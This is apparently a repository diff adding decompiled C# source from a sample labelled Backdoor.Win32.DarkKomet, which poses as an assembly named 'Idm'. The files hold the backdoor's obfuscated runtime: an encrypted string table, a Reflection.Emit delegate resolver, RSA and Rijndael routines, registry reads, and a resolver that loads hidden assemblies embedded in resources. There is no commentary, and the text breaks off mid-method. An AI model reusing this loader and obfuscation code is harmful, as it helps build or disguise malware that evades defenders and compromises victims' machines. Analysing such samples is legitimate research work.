{
do
{
// ISSUE: type reference
\u0001\u0004.\u007E\u008E\u0005((object) obj0, obj1, (object) \u0097\u0002.\u001B\u0002(\u0002.\u0002\u0002(2462), obj2), \u0082\u0003.\u008C\u0003(__typeref (object)));
}
while (false);
}
}
internal SmartStackFrame([In] SerializationInfo obj0, [In] StreamingContext obj1)
{
this.MethodID = \u0095\u0002.\u007E\u0090\u0005((object) obj0, \u0002.\u0002\u0002(2144));
this.ILOffset = \u0095\u0002.\u007E\u0090\u0005((object) obj0, \u0002.\u0002\u0002(2181));
this.ExceptionStackDepth = \u0095\u0002.\u007E\u0090\u0005((object) obj0, \u0002.\u0002\u0002(2218));
int length = \u0095\u0002.\u007E\u0090\u0005((object) obj0, \u0002.\u0002\u0002(2271));
this.Objects = new object[length];
for (int index = 0; index < length; ++index)
{
try
{
// ISSUE: type reference
this.Objects[index] = \u0002\u0004.\u007E\u008F\u0005((object) obj0, \u0097\u0002.\u001B\u0002(\u0002.\u0002\u0002(2316), (object) index), \u0082\u0003.\u008C\u0003(__typeref (object)));
}
catch (Exception ex)
{
this.Objects[index] = (object) \u0002.\u0002\u0002(2535);
}
}
}
internal SmartStackFrame([In] int obj0, [In] object[] obj1, [In] int obj2, [In] int obj3)
{
this.MethodID = obj0;
this.ExceptionStackDepth = obj3;
this.ILOffset = obj2;
this.Objects = obj1;
}
}
}
@@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using System.Runtime.InteropServices;
using System.Text;
internal delegate StringBuilder \u0001\u0003([In] object obj0, [In] object obj1);
@@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using System;
using System.Runtime.InteropServices;
internal delegate void \u0001\u0004([In] object obj0, [In] string obj1, [In] object obj2, [In] Type obj3);
@@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using System.Collections;
using System.Runtime.InteropServices;
internal delegate IDictionary \u0002\u0003([In] object obj0);
@@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using System;
using System.Runtime.InteropServices;
internal delegate object \u0002\u0004([In] object obj0, [In] string obj1, [In] Type obj2);
@@ -0,0 +1,142 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using \u0003;
using \u007F\u0004;
using System;
using System.Collections;
using System.IO;
using System.Reflection;
using System.Runtime.InteropServices;
namespace \u0003
{
internal class \u0002
{
private static string \u0001;
private static string \u0002;
private static byte[] \u0003;
private static Hashtable \u0004;
private static bool \u0005;
private static int \u0006;
public static string \u0002\u0002([In] int obj0)
{
string str1;
int num1;
int num2;
int num3;
byte[] numArray1;
string str2;
try
{
obj0 -= \u0002.\u0006;
if (\u0002.\u0005)
{
str1 = (string) \u0002.\u0004[(object) obj0];
if (str1 != null)
return str1;
}
num1 = 0;
num2 = obj0;
num3 = (int) \u0002.\u0003[num2++];
if ((num3 & 128) == 0)
{
num1 = num3;
if (num1 == 0)
return string.Empty;
}
else
num1 = (num3 & 64) != 0 ? ((num3 & 31) << 24) + ((int) \u0002.\u0003[num2++] << 16) + ((int) \u0002.\u0003[num2++] << 8) + (int) \u0002.\u0003[num2++] : ((num3 & 63) << 8) + (int) \u0002.\u0003[num2++];
string str3;
try
{
numArray1 = \u0016\u0003.\u0010\u0003(\u0006\u0004.\u007E\u0095\u0005((object) \u0003\u0004.\u0096\u0005(), \u0002.\u0003, num2, num1));
str2 = \u009C\u0002.\u007F\u0002(\u0006\u0004.\u007E\u0095\u0005((object) \u0003\u0004.\u0096\u0005(), numArray1, 0, numArray1.Length));
if (\u0002.\u0005)
{
try
{
\u008B\u0003.\u007E\u001C\u0004((object) \u0002.\u0004, (object) obj0, (object) str2);
}
catch
{
}
}
str3 = str2;
}
catch
{
str3 = (string) null;
}
return str3;
}
catch (Exception ex)
{
string str4 = str1;
// ISSUE: variable of a boxed type
__Boxed<int> local1 = (ValueType) num1;
// ISSUE: variable of a boxed type
__Boxed<int> local2 = (ValueType) num2;
// ISSUE: variable of a boxed type
__Boxed<int> local3 = (ValueType) num3;
byte[] numArray2 = numArray1;
string str5 = str2;
string str6;
string str7 = str6;
// ISSUE: variable of a boxed type
__Boxed<int> local4 = (ValueType) obj0;
\u0089\u0004.\u001F\u0005(ex, (object) str4, (object) local1, (object) local2, (object) local3, (object) numArray2, (object) str5, (object) str7, (object) local4);
throw;
}
}
static \u0002()
{
Assembly assembly1;
Stream stream1;
int length;
try
{
\u0002.\u0001 = "0";
\u0002.\u0002 = "74";
\u0002.\u0003 = (byte[]) null;
\u0002.\u0004 = (Hashtable) null;
\u0002.\u0005 = false;
\u0002.\u0006 = 0;
if (\u0002.\u0001 == "1")
{
\u0002.\u0005 = true;
\u0002.\u0004 = new Hashtable();
}
\u0002.\u0006 = Convert.ToInt32(\u0002.\u0002);
assembly1 = \u0098\u0003.\u0010\u0005();
stream1 = \u0093\u0003.\u007E\u0004\u0005((object) assembly1, "{8a2cc06e-b699-4a98-98ee-08831fc9c995}");
try
{
length = \u0013\u0003.\u0008\u0003(\u000F\u0004.\u007E\u009F\u0005((object) stream1));
\u0002.\u0003 = new byte[(int) checked ((uint) length)];
int num = \u0012\u0004.\u007E\u0006\u0006((object) stream1, \u0002.\u0003, 0, length);
\u001A\u0002.\u007E\u0003\u0006((object) stream1);
}
finally
{
if (stream1 != null)
\u001A\u0002.\u007E\u0004\u0002((object) stream1);
}
}
catch (Exception ex)
{
Assembly assembly2 = assembly1;
Stream stream2 = stream1;
// ISSUE: variable of a boxed type
__Boxed<int> local = (ValueType) length;
\u0089\u0004.\u001A\u0005(ex, (object) assembly2, (object) stream2, (object) local);
throw;
}
}
}
}
@@ -0,0 +1,9 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using System;
internal delegate DateTime \u0003\u0003();
@@ -0,0 +1,9 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using System.Text;
internal delegate Encoding \u0003\u0004();
@@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using System;
using System.Runtime.InteropServices;
internal delegate Delegate \u0004\u0003([In] Delegate obj0, [In] Delegate obj1);
@@ -0,0 +1,9 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using System.Runtime.InteropServices;
internal delegate byte[] \u0004\u0004([In] object obj0, [In] string obj1);
@@ -0,0 +1,11 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using System;
using System.Reflection;
using System.Runtime.InteropServices;
internal delegate Delegate \u0005\u0003([In] Type obj0, [In] MethodInfo obj1);
@@ -0,0 +1,9 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using System.Runtime.InteropServices;
internal delegate string \u0005\u0004([In] object obj0, [In] byte[] obj1);
@@ -0,0 +1,147 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using \u0003;
using \u0006\u0002;
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
namespace \u0006\u0002
{
internal class \u0008
{
public static string \u0001;
public static byte[] \u0006\u0002([In] byte[] obj0, [In] string obj1)
{
if (obj1.StartsWith(\u0002.\u0002\u0002(189)))
{
\u0008.\u0001 = \u0002.\u0002\u0002(194);
return (byte[]) null;
}
if (true)
goto label_31;
label_3:
if (true)
goto label_32;
label_4:
MemoryStream memoryStream;
do
{
if (true)
goto label_33;
label_5:
continue;
label_33:
memoryStream = (MemoryStream) null;
goto label_5;
}
while (false);
if (true)
goto label_34;
label_7:
RSACryptoServiceProvider cryptoServiceProvider1;
RijndaelManaged rijndaelManaged1;
CryptoStream cryptoStream;
try
{
if (true)
goto label_18;
label_15:
\u001A\u0002.\u007E\u0087\u0006((object) cryptoStream);
return \u0099\u0003.\u007E\u0014\u0006((object) memoryStream);
label_18:
RijndaelManaged rijndaelManaged2 = new RijndaelManaged();
if (true)
goto label_16;
label_8:
RSACryptoServiceProvider cryptoServiceProvider2 = new RSACryptoServiceProvider();
if (true)
goto label_17;
label_9:
\u001B\u0002.\u007E\u0084\u0006((object) cryptoServiceProvider1, obj1);
\u001A\u0002.\u007E\u008C\u0006((object) rijndaelManaged1);
\u001A\u0002.\u007E\u008D\u0006((object) rijndaelManaged1);
byte[] numArray1 = new byte[48];
\u0088\u0002.\u0004\u0003((Array) \u0099\u0003.\u007E\u008A\u0006((object) rijndaelManaged1), 0, (Array) numArray1, 0, 32);
\u0088\u0002.\u0004\u0003((Array) \u0099\u0003.\u007E\u0089\u0006((object) rijndaelManaged1), 0, (Array) numArray1, 32, 16);
memoryStream = new MemoryStream();
try
{
byte[] numArray2 = \u007F\u0004.\u007E\u008F\u0006((object) cryptoServiceProvider1, numArray1, false);
\u0014\u0004.\u007E\u000E\u0006((object) memoryStream, (byte) 1);
\u0014\u0004.\u007E\u000E\u0006((object) memoryStream, \u0012\u0003.\u0007\u0003(numArray2.Length / 8));
\u0013\u0004.\u007E\u0008\u0006((object) memoryStream, numArray2, 0, numArray2.Length);
}
catch (CryptographicException ex1)
{
try
{
byte[] numArray3 = new byte[16];
byte[] numArray4 = new byte[16];
\u0088\u0002.\u0004\u0003((Array) \u0099\u0003.\u007E\u008A\u0006((object) rijndaelManaged1), 0, (Array) numArray3, 0, 16);
\u0088\u0002.\u0004\u0003((Array) \u0099\u0003.\u007E\u008A\u0006((object) rijndaelManaged1), 16, (Array) numArray4, 0, 16);
byte[] numArray5 = \u007F\u0004.\u007E\u008F\u0006((object) cryptoServiceProvider1, numArray3, false);
byte[] numArray6 = \u007F\u0004.\u007E\u008F\u0006((object) cryptoServiceProvider1, numArray4, false);
byte[] numArray7 = \u007F\u0004.\u007E\u008F\u0006((object) cryptoServiceProvider1, \u0099\u0003.\u007E\u0089\u0006((object) rijndaelManaged1), false);
\u0014\u0004.\u007E\u000E\u0006((object) memoryStream, (byte) 2);
\u0014\u0004.\u007E\u000E\u0006((object) memoryStream, \u0012\u0003.\u0007\u0003(numArray5.Length / 8));
\u0013\u0004.\u007E\u0008\u0006((object) memoryStream, numArray5, 0, numArray5.Length);
\u0013\u0004.\u007E\u0008\u0006((object) memoryStream, numArray6, 0, numArray6.Length);
\u0013\u0004.\u007E\u0008\u0006((object) memoryStream, numArray7, 0, numArray7.Length);
}
catch (CryptographicException ex2)
{
\u0008.\u0001 = \u0002.\u0002\u0002(287);
return (byte[]) null;
}
}
cryptoStream = new CryptoStream((Stream) memoryStream, \u001F\u0004.\u007E\u008B\u0006((object) rijndaelManaged1), CryptoStreamMode.Write);
\u0013\u0004.\u007E\u0008\u0006((object) cryptoStream, obj0, 0, obj0.Length);
goto label_15;
label_17:
cryptoServiceProvider1 = cryptoServiceProvider2;
goto label_9;
label_16:
rijndaelManaged1 = rijndaelManaged2;
goto label_8;
}
catch (Exception ex)
{
\u0008.\u0001 = \u009A\u0002.\u001E\u0002(\u0002.\u0002\u0002(493), \u0082\u0002.\u007E\u0086\u0002((object) ex));
return (byte[]) null;
}
finally
{
if (rijndaelManaged1 != null)
\u001A\u0002.\u007E\u0088\u0006((object) rijndaelManaged1);
if (cryptoServiceProvider1 != null)
\u001A\u0002.\u007E\u0083\u0006((object) cryptoServiceProvider1);
if (true)
{
if (memoryStream != null)
\u001A\u0002.\u007E\u0003\u0006((object) memoryStream);
if (cryptoStream == null)
goto label_30;
}
if (true)
\u001A\u0002.\u007E\u0003\u0006((object) cryptoStream);
label_30:;
}
label_34:
cryptoStream = (CryptoStream) null;
goto label_7;
label_32:
cryptoServiceProvider1 = (RSACryptoServiceProvider) null;
goto label_4;
label_31:
rijndaelManaged1 = (RijndaelManaged) null;
goto label_3;
}
}
}
@@ -0,0 +1,38 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using System;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace \u0006\u0002
{
internal class \u001E\u0004
{
private readonly Type \u0001;
private readonly object \u0002;
private readonly bool \u0003;
public \u001E\u0004([In] object obj0, [In] bool obj1)
: this(obj0, obj0?.GetType(), obj1)
{
}
public \u001E\u0004([In] object obj0, [In] Type obj1, [In] bool obj2)
{
this.\u0002 = obj0;
this.\u0001 = obj1;
this.\u0003 = obj2;
}
[SpecialName]
public bool \u0006\u0002() => this.\u0003;
public object \u0006\u0002() => this.\u0002;
public Type \u0006\u0002() => this.\u0001;
}
}
@@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using System;
using System.Runtime.InteropServices;
internal delegate object \u0006\u0003([In] Type obj0);
@@ -0,0 +1,9 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using System.Runtime.InteropServices;
internal delegate string \u0006\u0004([In] object obj0, [In] byte[] obj1, [In] int obj2, [In] int obj3);
@@ -0,0 +1,246 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using \u0007;
using \u007F\u0004;
using System;
using System.Reflection;
using System.Reflection.Emit;
using System.Runtime.InteropServices;
namespace \u0007
{
internal static class \u0006
{
private static ModuleHandle \u0001;
private static char[] \u0002;
public static void \u0003\u0002([In] int obj0)
{
Type typeFromHandle;
FieldInfo[] fields;
int index1;
FieldInfo fieldInfo;
string name;
bool flag;
int num1;
int index2;
char ch;
int index3;
MethodInfo methodFromHandle;
Delegate @delegate;
ParameterInfo[] parameters;
int length;
Type[] parameterTypes;
int index4;
DynamicMethod dynamicMethod;
ILGenerator ilGenerator;
int num2;
try
{
try
{
typeFromHandle = Type.GetTypeFromHandle(\u0006.\u0001.ResolveTypeHandle(33554433 + obj0));
}
catch
{
return;
}
fields = typeFromHandle.GetFields(BindingFlags.Static | BindingFlags.NonPublic | BindingFlags.GetField);
for (index1 = 0; index1 < fields.Length; ++index1)
{
fieldInfo = fields[index1];
name = fieldInfo.Name;
flag = false;
num1 = 0;
for (index2 = name.Length - 1; index2 >= 0; --index2)
{
ch = name[index2];
if (ch == '~')
{
flag = true;
break;
}
for (index3 = 0; index3 < 58; ++index3)
{
if ((int) \u0006.\u0002[index3] == (int) ch)
{
num1 = num1 * 58 + index3;
break;
}
}
}
try
{
methodFromHandle = (MethodInfo) MethodBase.GetMethodFromHandle(\u0006.\u0001.ResolveMethodHandle(num1 + 167772161));
}
catch
{
continue;
}
if (methodFromHandle.IsStatic)
{
try
{
@delegate = Delegate.CreateDelegate(fieldInfo.FieldType, methodFromHandle);
}
catch (Exception ex)
{
continue;
}
}
else
{
parameters = methodFromHandle.GetParameters();
length = parameters.Length + 1;
parameterTypes = new Type[length];
parameterTypes[0] = typeof (object);
for (index4 = 1; index4 < length; ++index4)
parameterTypes[index4] = parameters[index4 - 1].ParameterType;
dynamicMethod = new DynamicMethod(string.Empty, methodFromHandle.ReturnType, parameterTypes, typeFromHandle, true);
ilGenerator = dynamicMethod.GetILGenerator();
ilGenerator.Emit(OpCodes.Ldarg_0);
if (length > 1)
ilGenerator.Emit(OpCodes.Ldarg_1);
if (length > 2)
ilGenerator.Emit(OpCodes.Ldarg_2);
if (length > 3)
ilGenerator.Emit(OpCodes.Ldarg_3);
if (length > 4)
{
for (num2 = 4; num2 < length; ++num2)
ilGenerator.Emit(OpCodes.Ldarg_S, num2);
}
ilGenerator.Emit(flag ? OpCodes.Callvirt : OpCodes.Call, methodFromHandle);
ilGenerator.Emit(OpCodes.Ret);
try
{
@delegate = dynamicMethod.CreateDelegate(typeFromHandle);
}
catch
{
continue;
}
}
try
{
fieldInfo.SetValue((object) null, (object) @delegate);
}
catch
{
}
}
}
catch (Exception ex)
{
object[] objArray = new object[20]
{
(object) typeFromHandle,
(object) fieldInfo,
(object) name,
(object) flag,
(object) num1,
(object) index2,
(object) ch,
(object) index3,
(object) methodFromHandle,
(object) @delegate,
(object) parameters,
(object) length,
(object) parameterTypes,
(object) index4,
(object) dynamicMethod,
(object) ilGenerator,
(object) num2,
(object) fields,
(object) index1,
(object) obj0
};
\u0089\u0004.\u0081\u0005(ex, objArray);
throw;
}
}
static \u0006()
{
Type type1;
try
{
\u0006.\u0002 = new char[58]
{
'\u0001',
'\u0002',
'\u0003',
'\u0004',
'\u0005',
'\u0006',
'\a',
'\b',
'\u000E',
'\u000F',
'\u0010',
'\u0011',
'\u0012',
'\u0013',
'\u0014',
'\u0015',
'\u0016',
'\u0017',
'\u0018',
'\u0019',
'\u001A',
'\u001B',
'\u001C',
'\u001D',
'\u001E',
'\u001F',
'\u007F',
'\u0080',
'\u0081',
'\u0082',
'\u0083',
'\u0084',
'\u0086',
'\u0087',
'\u0088',
'\u0089',
'\u008A',
'\u008B',
'\u008C',
'\u008D',
'\u008E',
'\u008F',
'\u0090',
'\u0091',
'\u0092',
'\u0093',
'\u0094',
'\u0095',
'\u0096',
'\u0097',
'\u0098',
'\u0099',
'\u009A',
'\u009B',
'\u009C',
'\u009D',
'\u009E',
'\u009F'
};
type1 = typeof (MulticastDelegate);
if ((object) type1 == null)
return;
\u0006.\u0001 = Assembly.GetExecutingAssembly().GetModules()[0].ModuleHandle;
}
catch (Exception ex)
{
Type type2 = type1;
\u0089\u0004.\u0018\u0005(ex, (object) type2);
throw;
}
}
}
}
@@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using System;
using System.Runtime.InteropServices;
internal delegate object \u0007\u0003([In] Type obj0, [In] bool obj1);
@@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using Microsoft.Win32;
using System.Runtime.InteropServices;
internal delegate RegistryKey \u0007\u0004([In] object obj0, [In] string obj1);
@@ -0,0 +1,81 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using \u0003;
using \u0008;
using Microsoft.Win32;
namespace \u0008
{
internal class \u0006\u0002
{
public static string \u0006\u0002()
{
string str1;
try
{
RegistryKey registryKey1 = Registry.LocalMachine.OpenSubKey(\u001E\u0004.\u0006\u0002());
if (true)
goto label_9;
label_1:
if (false)
goto label_4;
else
goto label_13;
label_2:
RegistryKey registryKey2 = \u0007\u0004.\u007E\u0099\u0005((object) Registry.LocalMachine, \u001E\u0004.\u001E\u0004());
RegistryKey registryKey3;
if (true)
registryKey3 = registryKey2;
label_3:
if (registryKey3 != null)
{
string str2 = (string) \u0008\u0004.\u007E\u009A\u0005((object) registryKey3, \u0002.\u0002\u0002(114), (object) null);
if (true)
goto label_12;
label_8:
\u001A\u0002.\u007E\u0098\u0005((object) registryKey3);
string str3;
str1 = str3;
goto label_15;
label_12:
str3 = str2;
goto label_8;
}
label_4:
if (true)
goto label_11;
label_5:
if (true)
{
if (false)
goto label_2;
else
goto label_15;
}
else
goto label_1;
label_11:
str1 = (string) null;
goto label_5;
label_13:
if (registryKey3 != null)
goto label_3;
else
goto label_2;
label_9:
registryKey3 = registryKey1;
goto label_1;
}
catch
{
str1 = (string) null;
}
label_15:
return str1;
}
}
}
@@ -0,0 +1,31 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using \u0003;
using System;
using System.Runtime.CompilerServices;
namespace \u0008
{
internal sealed class \u0008
{
[SpecialName]
public static string \u0006\u0002() => \u0008.\u0008.\u001E\u0004() + \u0002.\u0002\u0002(75) + (object) \u0008.\u0008.\u0006\u0002();
[SpecialName]
public static int \u0006\u0002()
{
Version version1 = new Version(\u0002.\u0002\u0002(80));
Version version2;
if (true)
version2 = version1;
return version2.Major;
}
[SpecialName]
public static string \u001E\u0004() => \u0002.\u0002\u0002(93);
}
}
@@ -0,0 +1,330 @@
// Decompiled with JetBrains decompiler
// Type: .2
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using \u0008;
using \u0012;
using \u007F\u0004;
using System;
using System.Collections;
using System.IO;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace \u0008
{
internal class \u00082
{
private static Hashtable \u0001;
[DllImport("kernel32", EntryPoint = "MoveFileEx")]
private static extern bool \u0006\u0002([In] string obj0, [In] string obj1, [In] int obj2);
internal static void \u0006\u0002()
{
try
{
try
{
AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(\u00082.\u0006\u0002);
}
catch
{
}
}
catch (Exception ex)
{
\u0089\u0004.\u0017\u0005(ex);
throw;
}
}
internal static Assembly \u0006\u0002([In] object obj0, [In] ResolveEventArgs obj1)
{
\u00082.\u0008 obj;
string s;
string base64String;
char[] chArray;
string[] strArray;
string str1;
bool flag1;
bool flag2;
int index1;
int index2;
int num;
string str2;
Hashtable hashtable;
Assembly assembly1;
Stream manifestResourceStream;
int length;
byte[] numArray;
Assembly assembly2;
string path1;
string path2;
FileStream fileStream;
try
{
obj = new \u00082.\u0008(obj1.Name);
s = obj.\u0006\u0002(false);
base64String = Convert.ToBase64String(Encoding.UTF8.GetBytes(s));
chArray = new char[1]{ ',' };
strArray = "ezE0ZWUxOWU0LTIxOTMtNDNhNC1hNWJiLTg0MDA4Nzc4ZWE1Zn0sIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49M2U1NjM1MDY5M2Y3MzU1ZQ==,[z]{14ee19e4-2193-43a4-a5bb-84008778ea5f},ezNiNWIwMjY2LTcwMDUtNDU5MC04NTI5LTk4MjdmZjUxZWZiMX0sIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49M2U1NjM1MDY5M2Y3MzU1ZQ==,[z]{3b5b0266-7005-4590-8529-9827ff51efb1}".Split(chArray);
str1 = string.Empty;
flag1 = false;
flag2 = false;
for (index1 = 0; index1 < strArray.Length - 1; index1 += 2)
{
if (strArray[index1] == base64String)
{
str1 = strArray[index1 + 1];
break;
}
}
if (str1.Length == 0 && obj.\u0004.Length == 0)
{
base64String = Convert.ToBase64String(Encoding.UTF8.GetBytes(obj.\u0001));
for (index2 = 0; index2 < strArray.Length - 1; index2 += 2)
{
if (strArray[index2] == base64String)
{
str1 = strArray[index2 + 1];
break;
}
}
}
if (str1.Length > 0)
{
if (str1[0] == '[')
{
num = str1.IndexOf(']');
str2 = str1.Substring(1, num - 1);
flag1 = str2.IndexOf('z') >= 0;
flag2 = str2.IndexOf('t') >= 0;
str1 = str1.Substring(num + 1);
}
Monitor.Enter((object) (hashtable = \u00082.\u0001));
try
{
if (\u00082.\u0001.ContainsKey((object) str1))
{
assembly1 = (Assembly) \u00082.\u0001[(object) str1];
}
else
{
manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(str1);
if (manifestResourceStream != null)
{
length = (int) manifestResourceStream.Length;
numArray = new byte[length];
manifestResourceStream.Read(numArray, 0, length);
if (flag1)
numArray = \u0014.\u0010\u0002(numArray);
assembly2 = (Assembly) null;
if (!flag2)
{
try
{
assembly2 = Assembly.Load(numArray);
}
catch (FileLoadException ex)
{
flag2 = true;
}
catch (BadImageFormatException ex)
{
flag2 = true;
}
}
